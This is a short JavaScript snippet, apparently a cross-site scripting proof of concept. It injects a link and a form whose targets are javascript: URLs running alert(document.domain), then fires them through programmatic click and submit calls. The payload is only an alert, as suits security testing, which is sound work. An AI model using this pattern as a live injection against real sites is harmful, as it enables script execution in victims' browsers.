f = document.createElement('div');
f.innerHTML = `
<a id="pwn" target="lolpwnd" href="javascript:alert(document.domain)">
`;
document.body.appendChild(f);

document.querySelector("#pwn").click();

f = document.createElement('div');
f.innerHTML = `
<form id="pwn" method="GET" target="lolpwnd" action="javascript:alert(document.domain)">
`;
document.body.appendChild(f);

document.querySelector("#pwn").submit();